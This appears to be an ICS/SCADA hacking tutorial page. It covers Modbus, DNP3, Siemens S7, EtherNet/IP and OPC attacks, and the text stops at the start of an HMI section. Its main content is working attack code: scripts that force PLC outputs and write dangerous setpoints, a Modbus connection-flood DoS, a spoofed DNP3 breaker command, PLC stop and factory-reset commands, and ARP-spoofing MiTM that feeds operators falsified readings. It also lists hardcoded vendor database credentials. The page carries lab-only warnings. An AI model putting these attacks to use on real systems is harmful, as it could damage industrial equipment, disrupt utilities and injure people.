🏭
ICS / OT Core Concepts
Understand the architecture before you hack it
BASIC
🧠 Why ICS/OT is different from IT pentesting In IT: confidentiality > integrity > availability. In ICS/OT: AVAILABILITY IS #1. A crashed PLC doesn't just lose data — it can blow up a boiler, open a dam, or cut power. Availability of physical process is the prime directive. Approach everything with this lens.
🏗️ The Purdue Model (ISA-95) — ICS Architecture Layers
Level 0 — Physical Process Actual sensors (temperature, pressure, flow), actuators (valves, motors). This is the "real world" being controlled. No cyber here — but this is the target impact zone.
Level 1 — Field Devices / Instruments PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), IEDs (Intelligent Electronic Devices). They read sensors and drive actuators based on logic programs. Most attack targets live here.
Level 2 — Control Systems HMIs (Human Machine Interfaces), SCADA servers, DCS (Distributed Control Systems). Operators see dashboards here. Alarms live here. Attackers target HMIs to suppress alarms or fake readings.
Level 3 — Site Operations (MES) Historian servers (store process data), Manufacturing Execution Systems. Bridge between OT and IT. Often poorly segmented — key pivot point.
Level 4/5 — Enterprise / Internet Corporate IT network, ERP. Attacker's typical entry point. Goal: break through the DMZ down to Level 1-2.
⚙️ Key Devices Explained
DEVICEABBRROLE
PLCReads sensors, runs ladder logic, drives actuators. Brain of field control.
RTULike a PLC but for remote/unmanned sites (pipelines, substations). Uses DNP3/IEC 101.
HMIOperator screen. Windows PC running SCADA software (WinCC, FactoryTalk, Ignition).
IEDSmart relay in power grid. Uses IEC 61850/GOOSE. Trips circuit breakers.
DCSDistributed Control System — like many PLCs coordinated. Used in oil/chem plants.
HistorianTime-series DB for all process data (PI Historian, Wonderware). Gold mine for recon.
EWSEngineering Workstation — programs PLCs. If compromised, you own the PLC logic.
🎯 Attack Objectives in ICS
Loss of ViewBlind operators — suppress or falsify HMI data/alarms so they can't see the real process state.
Loss of ControlPrevent commands from reaching PLCs — denial of control. e.g., can't open/close a valve remotely.
Manipulation of ControlSend wrong commands or inject false setpoints — most dangerous. Forces physics into unsafe state.
Ransomware / AvailabilityLock HMIs, historian, EWS — disrupt operations without touching the PLC directly.
📡
ICS Protocols & Ports
Know what to scan for and what each port means
BASIC
📋 Protocol Quick Reference
PROTOCOLPORTUSED INKEY WEAKNESS
Modbus TCP502/TCPPLCs, RTUs, sensors. Most common ICS protocol.Zero auth. No encryption. Anyone on network can read/write coils/registers.
DNP320000/TCP+UDPSCADA, substations, water/oil RTUsNo auth by default. DNP3 SA (secure auth) rarely deployed. Spoofable.
S7comm102/TCPSiemens S7 PLCs (S7-300/400/1200/1500)S7comm-plus (1200/1500) has crypto but is breakable. Stuxnet used this.
EtherNet/IP44818/TCP, 2222/UDPAllen-Bradley (Rockwell), AB PLCsCIP protocol on top. Read/write tags directly. No auth in most configs.
OPC-DA/UA135, 4840/TCPSCADA ↔ HMI data exchange middlewareOPC-DA uses DCOM (135) — many vulns. OPC-UA has auth but often misconfigured.
IEC 61850 / GOOSE102/TCP, multicastPower grid IEDs, substationsGOOSE is unauthenticated multicast — inject frames to trip breakers.
BACnet47808/UDPBuilding Automation (HVAC, lifts)No auth. COV (change of value) subscribe → read all sensor data.
EtherCATLayer 2High-speed motion control (robotics)No crypto at all — Ethernet frame level. Physical access needed.
PROFINET34964/UDPSiemens field bus (conveyor, manufacturing)DCP (discovery) unauthenticated. Can rename/reset devices.
IEC 1042404/TCPSCADA over IP (power/water utilities)No encryption. Command injection possible.
Historian / OSIsoft PI5450/TCPProcess data historianUnauthenticated access in legacy. Read all plant sensor history.
SRTP (GE)18245/TCPGE PLCs (Series 90, PAC8000)Protocol reversing enables arbitrary read/write.
🧪
Lab Setup for Beginners
Build your ICS hacking lab — safely
BASIC
⚠️ NEVER practice on real production systems. Ever. ICS systems control physical processes. A wrong write to a PLC in a real plant can destroy equipment, cause injury, or kill people. Always use simulators, VMs, or dedicated lab hardware.
🛠️ Recommended Lab Platforms
GNS3 + ScadaBR + OpenPLCOpenPLC is a free software PLC runtime. ScadaBR is a free SCADA. Run both as VMs. Connect them over GNS3 virtual network. Supports Modbus, DNP3.
SoftPLC / OpenPLC RuntimeInstall on Linux. Simulates real PLC. Runs ladder logic. Exposes Modbus TCP on port 502. Perfect first target.
Mininet-based ICS simulationsICSim (SCADAPACK/gas pipeline sim). Grfp (power grid sim). Both run on Ubuntu. Git repos available.
Real hardware (budget)Siemens LOGO! (~$80), Click PLCs (~$100), or eBay S7-200. Cheap, real protocol behavior. Best for hands-on.
📦 Tool Installation (Kali / Parrot)
install core ICS tools
sudo apt install nmap python3-pip git -y # Metasploit (has ICS modules) sudo apt install metasploit-framework -y # Install Python ICS libraries pip3 install pymodbus scapy pip3 install pysnmp python-snap7 # Clone specialized tools git clone https://github.com/sourceperl/mbtget git clone https://github.com/atimorin/scada-tools git clone https://github.com/drainware/plcscan
These form your baseline ICS recon toolkit. pymodbus = talk Modbus. snap7 = talk to Siemens S7 PLCs. scapy = raw packet crafting for any protocol.
🔍 Key Labs to Practice On
HackTheBox — ICS / SCADA ChallengesHTB has dedicated ICS machines. Look for tags: Modbus, SCADA, Industrial. Start with easy-rated ones first.
Pentester Academy — SCADA SecurityPaid but has full ICS lab with PLC simulators. Best structured curriculum for beginners.
TryHackMe — IndustrialSome THM rooms cover basic SCADA recon. Free tier available.
CISA / ICS-CERT ResourcesFree training at ics-cert.us-cert.gov — includes virtual lab environments for public utilities sector.
🔭
Network Discovery & ICS Host Detection
Phase 1 — Find what's on the network without crashing it
MID
⚠️ SLOW DOWN. ICS devices are fragile. Standard nmap SYN scans can crash PLCs and RTUs. Use --max-rate 10, avoid aggressive scan options (-A, -T4, -T5). Always prefer passive recon first.
🌐 Passive Recon — No Traffic Generated
wireshark / tcpdump — listen passively
tcpdump -i eth0 -nn port 502 or port 102 \ or port 44818 or port 20000 \ or port 47808 -w ics_capture.pcap
Listen on eth0 for known ICS protocol ports. -nn = no DNS/port name resolution (faster). -w = write to file. Just watching tells you what protocols are alive on the segment. Zero risk of crashing devices.
zeek / bro — protocol-aware passive analysis
zeek -i eth0 /opt/zeek/share/zeek/policy/\ protocols/modbus/main.zeek
Zeek automatically decodes ICS protocols from a packet capture or live interface and writes structured logs. modbus.log, dnp3.log, enip.log are created automatically. Gold for reconnaissance without active probing.
🔍 Active Scanning — Careful Mode
nmap — safe ICS scan (slow, no crash)
nmap -sS -p 102,502,2222,4840,20000,44818 \ --max-rate 10 --open -T2 \ -oN ics_hosts.txt 192.168.1.0/24
-sS = SYN scan (half-open). -p = ONLY scan these ICS ports, don't waste time on 1-65535. --max-rate 10 = max 10 packets/sec — critical for ICS safety. -T2 = polite timing. --open = only show open ports.
nmap ICS NSE scripts
nmap -sV --script modbus-discover \ -p 502 192.168.1.0/24 --max-rate 5 nmap -sV --script s7-info \ -p 102 192.168.1.0/24 --max-rate 5 nmap -sV --script enip-info \ -p 44818 192.168.1.0/24 --max-rate 5
nmap has built-in ICS scripts. modbus-discover = reads device ID from Modbus (function code 43). s7-info = grabs PLC name, serial, firmware version from Siemens S7. enip-info = reads Allen-Bradley device identity. Great for asset inventory recon.
🔎 Shodan — Internet-facing ICS
shodan CLI queries for exposed ICS
# Install pip3 install shodan shodan init YOUR_API_KEY # Search exposed Modbus systems shodan search "port:502 Modbus" # Exposed Siemens S7 PLCs shodan search "port:102 S7" # Exposed Allen-Bradley shodan search "port:44818 CIP" # Filter by country shodan search "port:502 country:IN" # Download results shodan download --limit 100 modbus.json \ "port:502 Modbus"
Shodan indexes internet-facing ICS devices. Shocking how many real PLCs are exposed. Use for CTF/research recon — never attack real systems you don't own. Filter by country:IN, org:, before:, after: to narrow results. Port 502 = Modbus, 102 = S7, 44818 = EtherNet/IP.
🔬 Redpoint / PLCScan
plcscan — dedicated PLC scanner
python3 plcscan.py -t 192.168.1.0/24
PLCScan uses multiple ICS protocols (Modbus, S7, EtherNet/IP) to identify PLCs. Lightweight and purpose-built — better signal-to-noise than nmap for ICS assets. Written in Python.
redpoint NSE scripts (nmap)
git clone https://github.com/digitalbond/Redpoint cp Redpoint/*.nse /usr/share/nmap/scripts/ nmap --script-updatedb # Scan with Redpoint nmap -sV --script bacnet-info \ -p 47808 -sU 192.168.1.0/24
Digital Bond's Redpoint adds BACnet, HART, DNP3, and more to nmap's ICS arsenal. Essential additions. bacnet-info reads device name, vendor, model from BACnet building automation systems without any auth.
📶
Protocol-Level Scanning & Enumeration
Deep-dive per protocol — what can you read before exploiting
MID
Modbus Enumeration
mbtget — read Modbus registers
# Read 10 holding registers from address 0 mbtget -r 1 -n 10 192.168.1.10 # Read coils (binary outputs: valve open/closed) mbtget -r 0 -a 0 -n 100 192.168.1.10 # Read input registers (sensor values) mbtget -r 3 -a 0 -n 20 192.168.1.10 # Read device ID (function code 43) mbtget -i 192.168.1.10
Modbus has 4 data areas: Coils (r=0, binary R/W = actuators), Discrete Inputs (r=1, binary R = sensors), Input Registers (r=3, analog R = measurements), Holding Registers (r=1 with flag, analog R/W = setpoints). -n 100 = read 100 values. These are your process values — you can see if valves are open, what temperature is, etc.
python pymodbus — manual Modbus queries
python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10', port=502) c.connect() # Read holding registers 0-9 r = c.read_holding_registers(0, count=10, slave=1) print(r.registers) # Read coils r2 = c.read_coils(0, count=10, slave=1) print(r2.bits) c.close() "
slave=1 is the Modbus unit ID (device address 1-247). Some devices use a specific unit ID — try 1, then 0, then 255 if you get no response. r.registers = list of 16-bit integer values. Coils return boolean bits (True = ON = valve/motor running).
S7comm Enumeration
snap7 / python-snap7 — read Siemens PLC
python3 -c " import snap7 plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # (ip, rack, slot) — try rack=0,slot=1 for most S7-300 info = plc.get_cpu_info() print(info) # Read data block 1, starting byte 0, 10 bytes data = plc.db_read(1, 0, 10) print(data) # Read inputs (I area) inputs = plc.read_area(snap7.types.Areas.PE, 0, 0, 1) print(inputs) plc.disconnect() "
rack and slot identify the CPU module in the Siemens rack. S7-300 is usually rack=0, slot=2. S7-1200/1500 is rack=0, slot=1. db_read(db_num, start, size) = read Data Block — this is where the PLC stores process variables. Areas.PE = process inputs (physical sensors reading), Areas.PA = process outputs (what's actually being sent to actuators).
EtherNet/IP Enumeration
cpppo — CIP tag browsing
pip3 install cpppo # List all tags on Allen-Bradley PLC python3 -m cpppo.server.enip.list_services \ --address 192.168.1.30:44818 # Read a specific tag python3 -m cpppo.server.enip.client \ --address 192.168.1.30 \ 'Tag1' 'BOOL_Tag' 'INT_Register' # Use EtherNet/IP scanner python3 -m cpppo.server.enip.get_attribute \ --address 192.168.1.30 \ '@1/1/7' # Identity Object, Instance 1, Attr 7 = Product Name
EtherNet/IP uses CIP (Common Industrial Protocol) with named "tags" — no numeric address like Modbus. @1/1/7 notation = Class 1 (Identity), Instance 1, Attribute 7. The Identity Object gives you vendor, product name, serial number — perfect for fingerprinting Allen-Bradley devices without authentication.
DNP3 Enumeration
scapy — craft DNP3 probe packets
python3 -c " from scapy.all import * from scapy.contrib.dnp3 import * # Send DNP3 data link frame to enumerate device pkt = IP(dst='192.168.1.40')/TCP(dport=20000)/\ DNP3()/DNP3Transport()/DNP3ApplicationRequest()\ /DNP3RequestReadAllObjects() resp = sr1(pkt, timeout=3) resp.show() " # Or use OpenDNP3 tools git clone https://github.com/automatak/dnp3 # Build and use dnp3demo to connect as master
DNP3 uses a master-outstation model. You act as the "master" (SCADA), they are the "outstation" (RTU). Data Link Frame has source/dest addresses (0-65534). Read All Objects = ask outstation to report all its data points — voltage, current, breaker status, etc. Completely unauthenticated by default.
🧬
Device Fingerprinting & Asset Identification
Identify vendor, model, firmware — build your target profile
MID
🏷️ Modbus Device Identification (FC43)
modbus function code 43 — device ID
python3 -c " from pymodbus.client import ModbusTcpClient from pymodbus.mei_message import ReadDeviceInformationRequest c = ModbusTcpClient('192.168.1.10') c.connect() req = ReadDeviceInformationRequest(0x01, slave=1) resp = c.execute(req) print('Vendor:', resp.information[0]) print('Product:', resp.information[1]) print('Version:', resp.information[2]) c.close() "
Modbus Function Code 43 (0x2B) with MEI type 0x0E = "Read Device Identification." Returns VendorName, ProductCode, MajorMinorRevision. Tells you exactly what PLC/RTU model you're dealing with — then search CVEs for that specific version. This is totally unauthenticated.
🔎 Web Interface Discovery
many PLCs run embedded web servers
# Scan for web interfaces on ICS devices nmap -sV -p 80,443,8080,8443 \ --max-rate 5 192.168.1.0/24 # Look for common ICS web interface paths curl -s http://192.168.1.10/main.html curl -s http://192.168.1.10/diag.htm curl -s http://192.168.1.10/plc/ # Check for default creds (very common) # admin:admin, admin:password, # Administrator:(blank), user:user
Many PLCs (Schneider Modicon, WAGO, Beckhoff, Phoenix Contact) have embedded web servers for configuration. Default credentials are rampant in ICS — vendors ship with admin/admin, nobody changes them. Once in the web UI, you can upload modified PLC programs or change setpoints directly.
📊 Metasploit ICS Modules
msf — ICS auxiliary scanners
msfconsole # List all ICS modules search type:auxiliary ICS search type:auxiliary SCADA search type:auxiliary modbus # Modbus client use auxiliary/scanner/scada/modbus_findunitid set RHOSTS 192.168.1.10 set RPORT 502 run # S7 scanner use auxiliary/scanner/scada/siemens_s7_300 set RHOSTS 192.168.1.0/24 run # EtherNet/IP use auxiliary/scanner/scada/profinet_simatic_disclaim run
MSF has a dedicated set of ICS modules. modbus_findunitid brute-forces the Modbus Unit ID (1-247) since some devices don't respond on ID 1 — it tries all and reports which one answers. Essential first step before reading registers.
Modbus Protocol Attacks
The most common ICS protocol — zero auth, full read/write
MID
Logic: Why Modbus is low-hanging fruit Modbus was designed in 1979 for serial comms in isolated environments. Security was never a concern. When mapped to TCP/IP, it brings ZERO authentication, ZERO encryption, and ZERO authorization. Anyone who can reach port 502 can read every sensor and write every actuator output. This is why it's almost always the first protocol you exploit in lab scenarios.
📖 Reading Process Values
read ALL Modbus data areas
python3 << 'EOF' from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10', port=502) c.connect() # Coils (0x = digital outputs — valves, motors, relays) coils = c.read_coils(address=0, count=100, slave=1) print("COILS:", coils.bits[:100]) # Discrete Inputs (1x = digital inputs — switches, sensors) di = c.read_discrete_inputs(address=0, count=100, slave=1) print("DISC INPUTS:", di.bits[:100]) # Input Registers (3x = analog inputs — temp, pressure, flow) ir = c.read_input_registers(address=0, count=30, slave=1) print("INPUT REGS:", ir.registers) # Holding Registers (4x = config setpoints, R/W) hr = c.read_holding_registers(address=0, count=30, slave=1) print("HOLDING REGS:", hr.registers) c.close() EOF
This is your complete process snapshot. Coils = what actuators are doing right now (valve: True=open, False=closed). Input registers = raw sensor readings (divide by 10 or 100 to get engineering units — varies by device). Holding registers = the dangerous ones — these are setpoints you can overwrite.
✍️ Writing / Manipulating Process
write coil — force actuator state
python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10') c.connect() # Force coil 0 to TRUE (open valve / start motor) c.write_coil(0, True, slave=1) # Force coil 0 to FALSE (close valve / stop motor) c.write_coil(0, False, slave=1) # Write multiple coils at once c.write_coils(0, [True,False,True,True], slave=1) c.close() "
This directly controls physical outputs. Coil 0 might be Pump 1, Coil 1 might be Valve A, etc. In a real plant, this can cause physical damage. In labs: this is how you demonstrate impact — show that you can start/stop processes. The write takes effect immediately on the PLC output.
write register — change setpoint
python3 -c " from pymodbus.client import ModbusTcpClient c = ModbusTcpClient('192.168.1.10') c.connect() # Change holding register 0 to value 9999 # (e.g., overpressure setpoint, temp limit, speed) c.write_register(0, 9999, slave=1) # Write multiple registers c.write_registers(0, [100, 200, 300], slave=1) c.close() "
Holding registers store process setpoints — the target temperature, max pressure alarm threshold, motor speed, flow rate target. Setting them to extreme values (9999, 0, 65535) can trigger unsafe conditions or disable safety alarms while the process continues running dangerously.
🔄 Modbus Fuzzing
msf — modbus function code fuzzer
use auxiliary/fuzzer/modbus/modbus_request set RHOSTS 192.168.1.10 set RPORT 502 set UNIT_ID 1 set START_FC 1 # start function code set END_FC 127 # end function code run
Modbus defines function codes 1-127. Many PLCs implement undocumented or vendor-specific ones beyond the standard 1-6,15,16. Fuzzing all function codes can reveal hidden diagnostic modes, unlock write access to normally read-only areas, or crash the PLC (DoS). Crash risk — only in lab.
💀 Modbus DoS
flood Modbus connections (DoS)
python3 -c " from pymodbus.client import ModbusTcpClient import threading def flood(): while True: try: c = ModbusTcpClient('192.168.1.10') c.connect() c.read_holding_registers(0, 125, slave=1) c.close() except: pass # Many PLCs have max 8-16 concurrent TCP connections # Flooding exhausts the connection table threads = [threading.Thread(target=flood) for _ in range(50)] for t in threads: t.start() "
Many PLCs have a very small TCP connection table (8-32 connections max). Flooding with connection requests exhausts the table — legitimate SCADA can no longer connect. This is Loss of Control — operators lose the ability to remotely manage the PLC. The PLC keeps running its last program, which may or may not be safe.
🌊
DNP3 Attacks
Power grid & water utility protocol — substation exploitation
MID
📡 DNP3 Recon & Enumeration
nmap dnp3 probe
nmap -sV --script dnp3-info \ -p 20000 192.168.1.0/24 \ --max-rate 5
DNP3 devices announce their device attributes in response to a Data Link Status request. This leaks: vendor name, product name, device serial number, firmware version, supported function codes. All without authentication.
msf — DNP3 scanner
use auxiliary/scanner/scada/dnp3_enumeration set RHOSTS 192.168.1.40 set RPORT 20000 set MASTER_ADDRESS 3 # our source addr set STATION_ADDRESS 1 # target RTU addr run
DNP3 uses link-layer addresses (0-65519). MASTER_ADDRESS is "us" (pick any number not used on the network). STATION_ADDRESS is the RTU/outstation. If you don't know the station address, enumerate 1-255 systematically.
⚡ DNP3 Spoofed Command Injection
scapy — craft malicious DNP3 operate
python3 -c " from scapy.all import * from scapy.contrib.dnp3 import * # Impersonate the master SCADA # Send 'Direct Operate' to trip a breaker (CROB command) # FC 3 = Direct Operate, Code 0x41 = Latch On pkt = ( Ether()/IP(dst='192.168.1.40')/ TCP(dport=20000)/ DNP3(src=3, dst=1)/ # src=master, dst=RTU DNP3Transport(fin=1, fir=1)/ DNP3ApplicationRequest( fc=0x03, # Direct Operate ) ) send(pkt) "
DNP3's default mode has no authentication. An attacker on the same network segment can spoof being the SCADA master and send control commands directly to RTUs. CROB (Control Relay Output Block) = the command object for controlling digital outputs (breakers, valves). FC=0x03 = Direct Operate — no confirmation required, immediate action.
🤖
Siemens S7 / S7comm Attacks
The Stuxnet protocol — control the world's most deployed industrial PLC
ADVANCED
🦠 Stuxnet Context Stuxnet (2010) exploited S7comm to reprogram Siemens S7-315 PLCs controlling uranium centrifuges at Natanz, Iran. It wrote a rootkit into the PLC that reported "all normal" to the HMI while sending centrifuges to destructive speeds. This exact attack surface still exists in unpatched systems today.
🔍 S7 Enumeration
snap7 — full S7 enumeration
python3 << 'EOF' import snap7 plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # CPU info — model, serial, OS version info = plc.get_cpu_info() print("Module:", info.ModuleTypeName.decode()) print("Serial:", info.SerialNumber.decode()) print("ASName:", info.ASName.decode()) # Project name! # CPU state — RUN/STOP/ERROR state = plc.get_cpu_state() print("CPU State:", state) # List data blocks # Try DB 1 through DB 100 for db in range(1, 101): try: data = plc.db_read(db, 0, 4) print(f"DB{db} exists: {data.hex()}") except: pass plc.disconnect() EOF
S7's ASName is the project name programmed by the engineer — can reveal the plant name, project ID, even engineer name. CPU state: RUN = PLC is actively controlling. STOP = safe mode, program paused. If you can put the PLC in STOP mode remotely, that's an immediate Loss of Control event. Data Blocks (DB1-DB100+) contain all process variables and setpoints.
✍️ S7 Read / Write Data Blocks
read and write DB values
python3 -c " import snap7, struct plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # Read DB1, byte 0, 20 bytes raw = plc.db_read(1, 0, 20) # Interpret as REAL (float) at offset 0 temp = struct.unpack('>f', raw[0:4])[0] print(f'Temperature: {temp:.2f}°C') # Interpret as INT at offset 4 speed = struct.unpack('>h', raw[4:6])[0] print(f'Motor Speed: {speed} RPM') # WRITE — change setpoint to dangerous value # DB1, start byte 4, data = 9000 (overrev motor) new_val = struct.pack('>h', 9000) plc.db_write(1, 4, new_val) plc.disconnect() "
S7 uses big-endian byte order for all values. Types: BOOL (1 bit), BYTE (1 byte), INT (2 bytes signed), DINT (4 bytes signed), REAL (4 bytes float). The struct.unpack format depends on what type you're reading — you need to know the DB layout (found in the PLC project, or guessed from context). db_write with an extreme value manipulates the process directly.
⏹️ CPU Stop — Loss of Control
send PLC to STOP state
python3 -c " import snap7 plc = snap7.client.Client() plc.connect('192.168.1.20', 0, 1) # Put PLC in STOP mode — halts all outputs # On real plant: all actuators go to fail-safe state # Depending on config, valves may slam open or closed! plc.plc_stop() print('PLC stopped!') # Restart PLC (cold start = clears all I/O) plc.plc_cold_start() plc.disconnect() "
plc_stop() sends S7 function 0x29 "Stop PLC." The PLC halts program execution — all outputs go to their configured fail-safe state. For manufacturing, this stops production. For infrastructure, this is potentially catastrophic — depends on whether fail-safe opens or closes critical valves. Most dangerous command you can send.
💾 Upload / Download PLC Program
msf — S7 program download (Stuxnet-style)
use auxiliary/admin/scada/siemens_s7_300_400_plc set RHOSTS 192.168.1.20 set ACTION UPLOAD # download PLC code from device run # Download returns the compiled PLC program # Analyze offline, find logic, modify, re-upload # This is the Stuxnet attack pattern: # 1) Download legit program # 2) Modify to add malicious logic # 3) Upload modified program # 4) PLC runs modified code, HMI shows old values
S7 older models (S7-300/400) allow unauthenticated program upload/download via the protocol. S7-1200/1500 added encryption but has known bypasses. This is the crown jewel attack — modify the PLC logic itself while the HMI continues showing normal readings (just like Stuxnet). On lab systems this is safe to practice.
🔌
EtherNet/IP & CIP Attacks
Allen-Bradley / Rockwell — America's most deployed PLC platform
ADVANCED
🏷️ CIP Tag Read / Write
cpppo — read/write named PLC tags
python3 << 'EOF' import cpppo from cpppo.server.enip import client # Connect to Allen-Bradley PLC with client.connector(host='192.168.1.30') as conn: # Read tags (must know tag names) operations = [ {'method': 'read', 'path': [{'symbolic': 'MotorSpeed'}]}, {'method': 'read', 'path': [{'symbolic': 'Pressure_PV'}]}, {'method': 'read', 'path': [{'symbolic': 'Valve_State'}]}, ] for op, _, _, data, path, send in conn.pipeline( operations=operations, depth=5, multiple=True, timeout=3): print(f"{path}: {data}") # Write a tag — change setpoint ops_write = [ {'method': 'write', 'path': [{'symbolic': 'MaxPressure'}], 'data': [999.0], 'tag_type': 'REAL'} ] EOF
Allen-Bradley PLCs use symbolic tags (named variables like "Valve_State") instead of numeric addresses. You need to know tag names — get them by browsing via RSLogix software, through the EDS file, or by guessing common names. Once you have tag names, you have complete read/write access with no auth required in most configurations.
💣 CIP Reset / Firmware
msf — EtherNet/IP device reset
use auxiliary/admin/scada/multi_cip_command set RHOSTS 192.168.1.30 set RPORT 44818 set COMMAND RESET # factory reset PLC! run # Also try: # COMMAND LIST_TAGS — list all tag names # COMMAND GET_ATTR — get device attributes # COMMAND RESET_MINOR — soft reset # UDP broadcast discovery (port 2222) use auxiliary/scanner/scada/enip_listservices set RHOSTS 192.168.1.255 set RPORT 2222 run
CIP's Reset service (0x05) sends a "Reset" to the Identity Object. Some PLCs interpret this as a full factory reset — destroys the PLC program and all config. Even a soft reset (reboot) causes a brief Loss of Control. The UDP broadcast on 2222 is used for discovery — devices respond with their identity even from behind NAT on the same subnet.
🪟
OPC / WinCC / HMI Attacks
Attack the Windows layer that sits above the PLC
ADVANCED
🪟 OPC-DA via DCOM
impacket — enumerate OPC via DCOM (port 135)
# OPC-DA runs over DCOM — classic Windows RPC # Port 135 = DCOM endpoint mapper # Enumerate DCOM services python3 /opt/impacket/examples/dcomexec.py \ -object MMC20 \ DOMAIN/user:password@192.168.1.50 cmd # Or use rpcdump to find OPC endpoints python3 /opt/impacket/examples/rpcdump.py \ 192.168.1.50 | grep -i opc # OPC server GUIDs to look for: # {76A6415B-CB41-11d1-8B02-00600806D9B6} = OPC DA 2.0 # {63D5F432-CFE4-11d1-B2C8-0060083BA1FB} = OPC DA 3.0
OPC-DA (Data Access) runs over Microsoft DCOM — same infrastructure as many Windows RPC exploits. Find OPC servers via the endpoint mapper on port 135. Once you identify the OPC server GUID, you can connect as an OPC client and read/write all PLC tags through the SCADA software — bypassing the PLC protocol entirely and going through the HMI's data pathway.
🔓 WinCC Default Credentials
common Siemens WinCC default creds
# WinCC MSSQL database default creds # (WinCC stores all SCADA config in SQL Server!) # Username: WinCCConnect # Password: 2WSXcder (this was hardcoded!) # Try with mssqlclient python3 /opt/impacket/examples/mssqlclient.py \ WinCCConnect:2WSXcder@192.168.1.50 # Query the WinCC tag database SELECT * FROM Runtime.dbo.PDE#Variables SELECT * FROM CC_OS1..PDE#Alarms # Also try WinCC web interface # http://192.168.1.50/WinCCWebNavigator/ # Default: Administrator / (empty password)
Siemens WinCC SCADA ships with a hardcoded MSSQL database password (2WSXcder) — this was literally hardcoded in WinCC versions before 7.0 SP3 and was one of the Stuxnet attack vectors. The WinCC SQL database contains the complete SCADA tag list, alarm configuration, historical data, and operator accounts. Accessing it gives full view of the entire process.
📊 OPC-UA Exploitation
opcua-client / freeopcua — enumerate OPC-UA
pip3 install opcua python3 << 'EOF' from opcua import Client c = Client("opc.tcp://192.168.1.60:4840/") # Try anonymous connect first (often allowed!) c.connect() root = c.get_root_node() # Browse all nodes def browse(node, depth=0): for child in node.get_children(): try: print(" "*depth + str(child.get_browse_name())) browse(child, depth+1) except: pass browse(root) # Read a specific node value node = c.get_node("ns=2;i=1003") # namespace=2, id=1003 print(node.get_value()) c.disconnect() EOF
OPC-UA was designed with security (unlike OPC-DA) but is often deployed with anonymous access enabled — the worst of both worlds. Anonymous access = anyone can browse and read the entire tag hierarchy. ns=2;i=1003 is a NodeId — namespace 2 is usually the custom tag namespace. Browsing the tree reveals the entire plant topology.
🕵️
MiTM, ARP Spoofing & Replay Attacks
Intercept SCADA-to-PLC traffic — read, manipulate, replay
ADVANCED
🎭 ARP Spoofing — Position Between SCADA & PLC
arpspoof — intercept SCADA↔PLC traffic
# Enable IP forwarding (so traffic still flows) echo 1 > /proc/sys/net/ipv4/ip_forward # Spoof ARP between SCADA (192.168.1.5) # and PLC (192.168.1.10) # Terminal 1: tell PLC "I am the SCADA" arpspoof -i eth0 -t 192.168.1.10 192.168.1.5 # Terminal 2: tell SCADA "I am the PLC" arpspoof -i eth0 -t 192.168.1.5 192.168.1.10 # Now capture Modbus in real time tcpdump -i eth0 -nn port 502 -w mitm.pcap # Or use ettercap for combined MiTM ettercap -T -i eth0 \ -M arp /192.168.1.5// /192.168.1.10//
ARP spoofing tricks both devices into sending traffic through our machine. IP forwarding ON = traffic still reaches the destination (covert). IP forwarding OFF = DoS (both sides lose connectivity). Since Modbus/DNP3 have no encryption, once we're in the middle we can read ALL process data in real time — like having a persistent wiretap on the control channel.
🔄 Replay Attack — Replay Old Commands
tcpreplay — replay captured Modbus writes
# 1. Capture a legitimate "open valve" command tcpdump -i eth0 -nn port 502 -w valve_open.pcap # 2. Inspect the capture tcpdump -r valve_open.pcap -XX | grep -A5 "502" # 3. Replay — resend the same command later # (e.g., reopen a valve that operator closed) tcpreplay -i eth0 --pps 1 valve_open.pcap # More surgical: extract and replay with scapy python3 -c " from scapy.all import * pkts = rdpcap('valve_open.pcap') for p in pkts: if p.haslayer('TCP') and p.dport == 502: send(p, verbose=0) "
Since Modbus has no sequence numbers or timestamps for authentication, replaying a captured legitimate command is indistinguishable from the real thing. If you captured a "open valve" Modbus write, you can replay it hours later to reopen a valve the operator just closed. The PLC accepts it as legitimate because there's no way to tell otherwise.
🎭 Modbus Response Spoofing (False Data)
scapy — intercept and modify Modbus responses
python3 << 'EOF' from scapy.all import * def modify_modbus(pkt): # Intercept Modbus TCP responses from PLC if pkt.haslayer('TCP') and pkt.sport == 502: raw = bytes(pkt['Raw']) if len(raw) > 9: # Modbus response: bytes 9+ are register values # Replace real values with fake "normal" values # Byte 9-10: first register value # 0x00 0x64 = 100 (looks normal) fake = raw[:9] + b'\x00\x64' + raw[11:] pkt['Raw'].load = fake # Recalculate checksums del pkt['IP'].chksum del pkt['TCP'].chksum return pkt # Intercept and modify in transit sniff(iface='eth0', filter='tcp port 502', prn=modify_modbus) EOF
This is the most insidious ICS attack: the process is in an unsafe state, but the SCADA shows everything is normal. While actually-dangerous values come from the PLC, we intercept and replace them with "normal" values before they reach the HMI. Operators see green dashboards while the plant is heading toward failure. This is what Stuxnet did to Iranian operators for over a year.
💾
Firmware Analysis & HMI Exploitation
Extract, analyze, and backdoor embedded ICS firmware
ADVANCED
🔬 Firmware Extraction & Analysis
binwalk — extract ICS firmware
sudo apt install binwalk -y # Analyze firmware file (downloaded from vendor site # or extracted via TFTP/FTP from device) binwalk firmware.bin # Extract all file systems binwalk -e firmware.bin cd _firmware.bin.extracted/ # Look for hardcoded credentials grep -r "password\|passwd\|admin\|secret" \ --include="*.conf" --include="*.xml" \ --include="*.ini" -i . # Find private keys grep -r "BEGIN RSA\|BEGIN EC\|BEGIN PRIV" . # Strings analysis for URLs, IPs strings firmware.bin | grep -E \ "([0-9]{1,3}\.){3}[0-9]{1,3}" # Check for known vuln libraries strings firmware.bin | grep -E \ "OpenSSL|libssl|libc-|uClibc"
ICS firmware is often available on vendor websites for "upgrade purposes." binwalk identifies and extracts embedded file systems (squashfs, cramfs, jffs2). Inside you'll find: Linux root filesystem, web server files, config files with hardcoded passwords, private TLS keys, and sometimes the full PLC runtime source. Hardcoded creds found in firmware work on every device using that firmware version.
🖥️ HMI / SCADA Software Attacks
common HMI vulnerabilities to test
